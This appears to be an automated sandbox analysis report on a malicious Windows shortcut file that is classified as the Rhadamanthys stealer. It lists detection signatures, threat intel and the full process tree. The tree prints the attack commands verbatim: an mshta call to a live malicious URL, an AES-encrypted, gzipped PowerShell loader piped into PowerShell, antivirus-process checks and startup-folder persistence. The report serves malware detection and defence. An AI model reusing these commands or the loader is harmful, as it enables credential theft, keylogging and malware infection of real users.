Edit tour

Windows Analysis Report
setup.lnk

Overview

General Information

Sample name:	setup.lnk
Analysis ID:	1395713
MD5:	a69e28c995425fb3d3723b45c18ac227
SHA1:	afebe09ea1516f1378b6254ee6bc927501e24c96
SHA256:	1c7476c33f0d56e970dbfad87da96739d74bbd1928c4a044715ea75f61e72192
Tags:	lnk
Infos:

Detection

RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Windows shortcut file (LNK) starts blacklisted processes

Yara detected RHADAMANTHYS Stealer

Contains functionality to register a low level keyboard hook

Drops PE files with a suspicious file extension

Found URL in windows shortcut file (LNK)

Found suspicious powershell code related to unpacking or dynamic code loading

Powershell drops PE file

Sigma detected: Base64 Encoded PowerShell Command Detected

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Sigma detected: Suspicious MSHTA Child Process

Suspicious powershell command line found

Uses ping.exe to check the status of other devices and networks

Uses ping.exe to sleep

Windows shortcut file (LNK) contains suspicious command line arguments

Abnormal high CPU Usage

Contains functionality to detect virtual machines (SLDT)

Contains functionality to dynamically determine API calls

Contains functionality to launch a program with higher privileges

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file does not import any functions

PE file overlay found

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: Gzip Archive Decode Via PowerShell

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Stores files to the Windows start menu directory

Tries to load missing DLLs

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Yara signature match

Classification

Process Tree

System is w10x64

forfiles.exe (PID: 4320 cmdline: "C:\Windows\System32\forfiles.exe" /p C:\Windows\Vss /c "powershell start mshta http://whitemansearch.shop/setup MD5: 9BB67AEA5E26CB136F23F29CC48D6B9E)

conhost.exe (PID: 3792 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4672 cmdline: start mshta http://whitemansearch.shop/setup MD5: 04029E121A0CFA5991749937DD22A1D9)

mshta.exe (PID: 7216 cmdline: "C:\Windows\system32\mshta.exe" http://whitemansearch.shop/setup MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 7364 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ | powershell - MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7488 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" - MD5: 04029E121A0CFA5991749937DD22A1D9)

chrome.exe (PID: 7596 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://2no.co/2ZrVm4 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7832 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=1972,i,9908124520727013637,16052359887422154875,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

WmiPrvSE.exe (PID: 7252 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

ClassroomEc.exe (PID: 8148 cmdline: "C:\Users\user\AppData\Roaming\ClassroomEc.exe" MD5: 956D074F7C6BD174C43586F07892E820)

conhost.exe (PID: 8112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 748 cmdline: "C:\Windows\System32\cmd.exe" /k move Avoid Avoid.bat & Avoid.bat & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 6096 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 8084 cmdline: findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 4980 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 2764 cmdline: findstr /I "wrsa.exe opssvc.exe" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 8224 cmdline: cmd /c md 29026 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 8240 cmdline: cmd /c copy /b Producing + Imaging + Phd + Ada + Organ 29026\Identification.pif MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 8256 cmdline: cmd /c copy /b Conf 29026\m MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Identification.pif (PID: 8272 cmdline: 29026\Identification.pif 29026\m MD5: 848164D084384C49937F99D5B894253E)

cmd.exe (PID: 8616 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NeuraLink.url" & echo URL="C:\Users\user\AppData\Local\NeuraConnect Technologies\NeuraLink.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\NeuraLink.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

PING.EXE (PID: 8288 cmdline: ping -n 5 localhost MD5: B3624DD758CCECF93A1226CEF252CA12)

svchost.exe (PID: 7292 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://elis531989.medium.com/dancing-with-shellcodes-analyzing-rhadamanthys-stealer-3c4986966a88 https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q1%20Botnet%20Threat%20Update.pdf https://info.spamhaus.com/hubfs/Botnet%20Reports/2023%20Q2%20Botnet%20Threat%20Update.pdf	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000019.00000003.2987224346.0000000001500000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
00000019.00000003.2990376919.0000000004BE0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000019.00000003.2990182254.0000000001E20000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: powershell.exe PID: 7364	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xcf69a:$b1: ::WriteAllBytes( 0xcfb3c:$b1: ::WriteAllBytes( 0x149b8b:$b1: ::WriteAllBytes( 0x22fc8c:$b1: ::WriteAllBytes( 0x2aad16:$b1: ::WriteAllBytes( 0x38cb:$b2: ::FromBase64String( 0x38ff:$b2: ::FromBase64String( 0x4040:$b2: ::FromBase64String( 0x4074:$b2: ::FromBase64String( 0xb310:$b2: ::FromBase64String( 0xb344:$b2: ::FromBase64String( 0xba85:$b2: ::FromBase64String( 0xbab9:$b2: ::FromBase64String( 0xc488:$b2: ::FromBase64String( 0xcc258:$b2: ::FromBase64String( 0xcc28d:$b2: ::FromBase64String( 0xcc9f3:$b2: ::FromBase64String( 0xcca29:$b2: ::FromBase64String( 0xcd3c4:$b2: ::FromBase64String( 0xcd3fa:$b2: ::FromBase64String( 0xcdd4f:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 7488	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xa6791:$b1: ::WriteAllBytes( 0xa0c1f:$s1: -join 0x111d69:$s1: -join 0x11ee3e:$s1: -join 0x122210:$s1: -join 0x1228c2:$s1: -join 0x1243b3:$s1: -join 0x1265b9:$s1: -join 0x126de0:$s1: -join 0x127650:$s1: -join 0x127d8b:$s1: -join 0x127dbd:$s1: -join 0x127e05:$s1: -join 0x127e24:$s1: -join 0x128674:$s1: -join 0x1287f0:$s1: -join 0x128868:$s1: -join 0x1288fb:$s1: -join 0x128b61:$s1: -join 0x12acf7:$s1: -join 0x139741:$s1: -join
Process Memory Space: Identification.pif PID: 8272	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author
25.3.Identification.pif.4be0000.9.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
25.3.Identification.pif.4be0000.9.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
25.3.Identification.pif.1e20000.8.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Other

Source	Rule	Description	Author	Strings
amsi64_7488.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc049:$b1: ::WriteAllBytes( 0xbcbc:$s1: -join 0x5468:$s4: += 0x552a:$s4: += 0x9751:$s4: += 0xb86e:$s4: += 0xbb58:$s4: += 0xbc9e:$s4: += 0x663c1:$s4: += 0x66441:$s4: += 0x66507:$s4: += 0x66587:$s4: += 0x6675d:$s4: += 0x667e1:$s4: += 0xc7d1:$e4: Get-WmiObject 0xc9c0:$e4: Get-Process 0xca18:$e4: Start-Process

Sigma Signatures

System Summary

Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ | powershell -, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOd

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ | powershell -, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOd

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" http://whitemansearch.shop/setup, CommandLine: "C:\Windows\system32\mshta.exe" http://whitemansearch.shop/setup, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: start mshta http://whitemansearch.shop/setup, ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 4672, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" http://whitemansearch.shop/setup, ProcessId: 7216, ProcessName: mshta.exe

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 'AAAAAAAAAAAAAAAAAAAAAH+Ni+e0B2ks3MmnD0sjpK+fk7MupFILZ9VVeKtme+yyv7VBgriarnlhwOcDd3XnPYAZs1Tppp56hNLmknzg3RqlLZoWww3pr9GTVi4PQRFZ4Ymgg1kiMEK8k6tSH0FMP/6pzSLCCm7m343xSrtqho71KivioXDdV9RXUEizSVv/r8WV5Pa7k2Heaf/g1dNAET06jn6Lwy+3XxYBIZ8Z2SgFrwiakMLK9DaB/lEruY0OeDX+Hdr0opeUvoDL8s3TYxPu555rLX05cTD0ToGQ2y+lNPX6Fd4Bm0mfpAp0pqtz0Trl0pba/499qW6oyZTYgixjQ47fiytqQcaIZP9WkwPlfVpxMSua7NOylmdcJhQWUYN6kEASQ952Ex0UEpaIptSXAQOA6loYOMEfPb1EVPJ3uzMpl9BHjDqJhN1/oLox0/aPLc7VbmQV7FidtYCO5ezZrtDcgspB4G8S6VZ9Sjg0QNg+jHmUfYdvDUMhXrj23a1QyqUbSLMhJDW4sNDUud7HtFVqeAGS/Sl3nluTQKPifMztty2aLUs2SdQ4ofB+z/wvUPl80+6+LH5XqNj8M1Zd2OZ2juaG9QCdS6eD1lwBdfwkGK1Cexwfukroqw+5t52gJ98O+jLN7pAgKZCbb87QC9doFNVZ0xR6NVkJ3ydwbpVe9gy2uRSQ2Smekc28xEG/oGbv4H/40VYmmQ48SZmio+DL98HetDuYJDA10+uKtzg0ZRZ9tre7n2DUAlC7aKHFKe8XXTlSjeBJaB+74TbyhG6tbN3q8JEsTWFHavCG/74qYRYHv51RGapuS4YimLfGDcI+kN5tHO8qHFY2APvSJgWWvc4NaNwYwKEOdGVs3cuD2h7Z0Etr930+QCfF';$PAvNVyn = 'eW1FbE1LT2RGdGV3TXdRUlpyWFFRbnZGeFdtd1R3Z2w=';$Hgjhdnd = New-Object 'System.Security.Cryptography.AesManaged';$Hgjhdnd.Mode = [System.Security.Cryptography.CipherMode]::ECB;$Hgjhdnd.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$Hgjhdnd.BlockSize = 128;$Hgjhdnd.KeySize = 256;$Hgjhdnd.Key = [System.Convert]::FromBase64String($PAvNVyn);$fmSHI = [System.Convert]::FromBase64String($gIWXcqO);$HwKLSIPl = $fmSHI[0..15];$Hgjhdnd.IV = $HwKLSIPl;$bKVkoZaIu = $Hgjhdnd.CreateDecryptor();$woNqXSfkI = $bKVkoZaIu.TransformFinalBlock($fmSHI, 16, $fmSHI.Length - 16);$Hgjhdnd.Dispose();$LMMKhz = New-Object System.IO.MemoryStream( , $woNqXSfkI );$dYlrlK = New-Object System.IO.MemoryStream;$cYowFoTfZ = New-Object System.IO.Compression.GzipStream $LMMKhz, ([IO.Compression.CompressionMode]::Decompress);$cYowFoTfZ.CopyTo( $dYlrlK );$cYowFoTfZ.Close();$LMMKhz.Close();[byte[]] $OhXploZ = $dYlrlK.ToArray();$mkeeaJ = [System.Text.Encoding]::UTF8.GetString($OhXploZ);$mkeeaJ | powershell -, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $gIWXcqO = 